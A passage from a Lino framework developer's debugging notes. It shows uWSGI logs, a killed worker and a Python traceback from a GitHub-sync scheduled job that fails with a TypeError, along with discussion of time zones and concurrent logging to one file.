[pid: 2307|app: 0|req: 127/245] 90.191.153.133 () {50 vars in 914 bytes} [Sat Jul 30 06:22:27 2022] GET /dashboard/0?fmt=json&amp;amp;lv=1645431581.0682056 =&amp;gt; generated 9096 bytes in 972 msecs (HTTP/1.1 200) 4 headers in 126 bytes (1 switches on core 0)
[pid: 4875|app: 0|req: 123/245] 90.191.153.133 () {50 vars in 914 bytes} [Sat Jul 30 06:22:27 2022] GET /dashboard/1?fmt=json&amp;amp;lv=1645431581.0682056 =&amp;gt; generated 10648 bytes in 796 msecs (HTTP/1.1 200) 4 headers in 127 bytes (1 switches on core 0)
[pid: 4875|app: 0|req: 124/246] 90.191.153.133 () {50 vars in 914 bytes} [Sat Jul 30 06:22:28 2022] GET /dashboard/2?fmt=json&amp;amp;lv=1645431581.0682056 =&amp;gt; generated 45242 bytes in 307 msecs (HTTP/1.1 200) 4 headers in 127 bytes (1 switches on core 0)
[pid: 4875|app: 0|req: 125/247] 90.191.153.133 () {50 vars in 914 bytes} [Sat Jul 30 06:22:28 2022] GET /dashboard/4?fmt=json&amp;amp;lv=1645431581.0682056 =&amp;gt; generated 44574 bytes in 254 msecs (HTTP/1.1 200) 4 headers in 127 bytes (1 switches on core 0)
[pid: 2307|app: 0|req: 128/248] 90.191.153.133 () {50 vars in 914 bytes} [Sat Jul 30 06:22:28 2022] GET /dashboard/3?fmt=json&amp;amp;lv=1645431581.0682056 =&amp;gt; generated 26846 bytes in 564 msecs (HTTP/1.1 200) 4 headers in 127 bytes (1 switches on core 0)
[pid: 2307|app: 0|req: 129/249] 90.191.153.133 () {50 vars in 914 bytes} [Sat Jul 30 06:22:29 2022] GET /dashboard/6?fmt=json&amp;amp;lv=1645431581.0682056 =&amp;gt; generated 31 bytes in 49 msecs (HTTP/1.1 200) 4 headers in 124 bytes (1 switches on core 0)
[pid: 2307|app: 0|req: 130/250] 90.191.153.133 () {50 vars in 914 bytes} [Sat Jul 30 06:22:29 2022] GET /dashboard/7?fmt=json&amp;amp;lv=1645431581.0682056 =&amp;gt; generated 4344 bytes in 99 msecs (HTTP/1.1 200) 4 headers in 126 bytes (1 switches on core 0)
[pid: 2307|app: 0|req: 131/252] 90.191.153.133 () {50 vars in 914 bytes} [Sat Jul 30 06:22:29 2022] GET /dashboard/8?fmt=json&amp;amp;lv=1645431581.0682056 =&amp;gt; generated 1002 bytes in 121 msecs (HTTP/1.1 200) 4 headers in 126 bytes (1 switches on core 0)
[pid: 4875|app: 0|req: 126/252] 90.191.153.133 () {50 vars in 914 bytes} [Sat Jul 30 06:22:29 2022] GET /dashboard/5?fmt=json&amp;amp;lv=1645431581.0682056 =&amp;gt; generated 20501 bytes in 274 msecs (HTTP/1.1 200) 4 headers in 127 bytes (1 switches on core 0)
DAMN ! worker 1 (pid: 2307) died, killed by signal 9 :( trying respawn ...
Respawned uWSGI worker 1 (new pid: 5443)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/log/supervisor/linod-jane-stderr---supervisor-SToYrb.log&lt;/span&gt;&lt;/code&gt;
contains a traceback:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/manage.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;execute_from_command_line&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/core/management/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;419&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute_from_command_line&lt;/span&gt;
    &lt;span class="n"&gt;utility&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/core/management/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;413&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fetch_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subcommand&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_from_argv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/core/management/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;354&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_from_argv&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;cmd_options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/django/core/management/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;398&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt;
    &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino/management/commands/linod.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;49&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;
    &lt;span class="n"&gt;schedule&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_pending&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/schedule/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;780&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_pending&lt;/span&gt;
    &lt;span class="n"&gt;default_scheduler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_pending&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/schedule/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_pending&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_run_job&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;job&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/schedule/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_run_job&lt;/span&gt;
    &lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;job&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/schedule/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;661&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;
    &lt;span class="n"&gt;ret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;job_func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino_xl/lib/github/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;241&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;update_all_repos&lt;/span&gt;
    &lt;span class="n"&gt;Repository&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update_all_repos&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_from_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Repositories&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino_xl/lib/github/actions.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;149&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_from_code&lt;/span&gt;
    &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Update_all_repos&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_from_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino_xl/lib/github/actions.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;81&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_from_code&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;commit&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_commits&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino_xl/lib/github/actions.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;127&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_commits&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;commit&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Import_new_commits&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_commits&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino_xl/lib/github/actions.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_commits&lt;/span&gt;
    &lt;span class="n"&gt;commit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Commit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;from_api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;repo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/local/lino/lino_local/jane/env/lib/python3.7/site-packages/lino_xl/lib/github/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;207&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;from_api&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Commit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sha&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sha&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;indices&lt;/span&gt; &lt;span class="n"&gt;must&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;integers&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The timestamp of this file is shown as “Jul 30 05:05” by &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;ls&lt;/span&gt; &lt;span class="pre"&gt;-l&lt;/span&gt;&lt;/code&gt;.  When I
say &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;touch&lt;/span&gt; &lt;span class="pre"&gt;tmp&lt;/span&gt; &lt;span class="pre"&gt;;&lt;/span&gt; &lt;span class="pre"&gt;ls&lt;/span&gt; &lt;span class="pre"&gt;-l&lt;/span&gt; &lt;span class="pre"&gt;tmp&lt;/span&gt;&lt;/code&gt;, then it shows one hour earlier than my desktop
clock. Because the server is in CEST time zone. This traceback is caused by the
following code (in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.github&lt;/span&gt;&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;schedule_often&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3600&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;update_all_repos&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;Repository&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update_all_repos&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_from_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Repositories&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I am surprised that the &lt;a class="reference external" href="https://dev.lino-framework.org/topics/logging.html#xfile-lino.log" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.log&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; contains nothing about the event. It
looks as if it contains only the logging of the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/linod.html#management_command-linod" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;linod&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; process. Yes,
that’s because  the uwsgi and the lino processes are two concurrent processes
trying to log to a single file. See &lt;a class="reference external" href="https://stackoverflow.com/questions/17902972/how-to-log-to-a-single-file-with-concurrent-processes-in-django-without-exclusiv#17907805"&gt;here&lt;/a&gt;
for example. When I run &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;reload_services.sh&lt;/span&gt;&lt;/code&gt;, the &lt;a class="reference external" href="https://dev.lino-framework.org/topics/logging.html#xfile-lino.log" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.log&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
contains:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt; &lt;span class="mi"&gt;4875&lt;/span&gt; &lt;span class="mi"&gt;139817209964416&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Done&lt;/span&gt; &lt;span class="n"&gt;uwsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PID&lt;/span&gt; &lt;span class="mi"&gt;4875&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt; &lt;span class="mi"&gt;5443&lt;/span&gt; &lt;span class="mi"&gt;139817209964416&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Done&lt;/span&gt; &lt;span class="n"&gt;uwsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PID&lt;/span&gt; &lt;span class="mi"&gt;5443&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt; &lt;span class="mi"&gt;6001&lt;/span&gt; &lt;span class="mi"&gt;140241389811520&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Started&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;jane&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;manage&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="n"&gt;linod&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jane&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;PID&lt;/span&gt; &lt;span class="mi"&gt;6001&lt;/span&gt;
&lt;span class="mi"&gt;202207&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="mi"&gt;07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt; &lt;span class="mi"&gt;6000&lt;/span&gt; &lt;span class="mi"&gt;140542291392384&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Started&lt;/span&gt; &lt;span class="n"&gt;uwsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jane&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span 